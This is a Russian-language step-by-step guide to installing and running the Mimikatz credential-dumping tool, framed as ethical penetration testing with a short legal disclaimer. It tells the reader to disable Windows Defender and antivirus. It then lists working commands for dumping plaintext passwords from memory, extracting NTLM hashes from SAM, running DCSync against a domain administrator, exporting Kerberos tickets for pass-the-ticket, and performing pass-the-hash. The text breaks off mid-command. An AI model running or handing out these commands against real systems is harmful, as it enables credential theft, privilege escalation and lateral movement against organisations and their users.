Введение

Mimikatz – это мощный инструмент, предназначенный для извлечения из памяти паролей, хэшей, PIN-кодов и билетов Kerberos в открытом виде. Он широко используется специалистами по тестированию на проникновение и профессионалами по безопасности для оценки уязвимости систем. В этом руководстве представлен пошаговый подход к установке и использованию Mimikatz для этического тестирования безопасности.

Предупреждение: Несанкционированное использование Mimikatz является незаконным. Убедитесь, что у вас есть разрешение, прежде чем использовать его в любой среде.

Необходимые условия

Перед установкой Mimikatz убедитесь, что у вас есть следующее:

  • Машина с Windows( версииWindows 7 , 10, 11 или Server)
    • Привилегии администратора
  • Защитник Windows и любое антивирусное программное обеспечение отключены (Mimikatz часто отмечается как вредоносное ПО)

Загрузка Mimikatz

Mimikatz – это инструмент с открытым исходным кодом, доступный на GitHub. Чтобы загрузить его:

  1. Откройте веб-браузер и перейдите на сайт https://github.com/gentilkiwi/mimikatz.
  2. Нажмите на Code > Download ZIP.
  3. Распакуйте ZIP-файл в выбранную вами папку.

Также вы можете клонировать репозиторий с помощью Git:

 git clone https://github.com/gentilkiwi/mimikatz.git

Запуск Mimikatz

Поскольку для запуска Mimikatz требуются привилегии администратора, выполните следующие действия:

  1. Откройте Command Prompt или PowerShell от имени администратора.
  2. Перейдите в папку, из которой вы извлекли Mimikatz:
    cd path\to\mimikatz\x64
  3. Запустите Mimikatz:
    mimikatz.exe
  4. У вас должен появиться интерфейс командной строки с подсказкой mimikatz #.

Основные команды Mimikatz

1. Проверка системных привилегий

Прежде чем извлекать учетные данные, убедитесь, что у вас достаточно привилегий:

privilege::debug

В случае успеха вы должны увидеть: Привилегия '20' OK

2. Извлечение паролей из памяти

Чтобы извлечь пароли из памяти, используйте команду:

sekurlsa::logonpasswords

Это выведет имя пользователя, домен и пароли в открытом виде, если они доступны.

3. Сброс хэшей NTLM

Хеши NTLM могут быть использованы для атак типа “передай хэш”. Чтобы извлечь их, выполните команду:

lsadump::sam

Или, для удаленных систем:

lsadump::dcsync /domain:targetdomain.com /user:Administrator

4. Извлечение билета Kerberos

Извлечение билетов Kerberos из системы:

sekurlsa::tickets /export

Это экспортирует файлы .kirbi, которые могут быть использованы в атаках типа “передай билет”.

5. Атака с передачей хэша

Для аутентификации с помощью NTLM-хэша вместо пароля:

sekurlsa::pth /user:Administrator /domain:example.com /ntlm: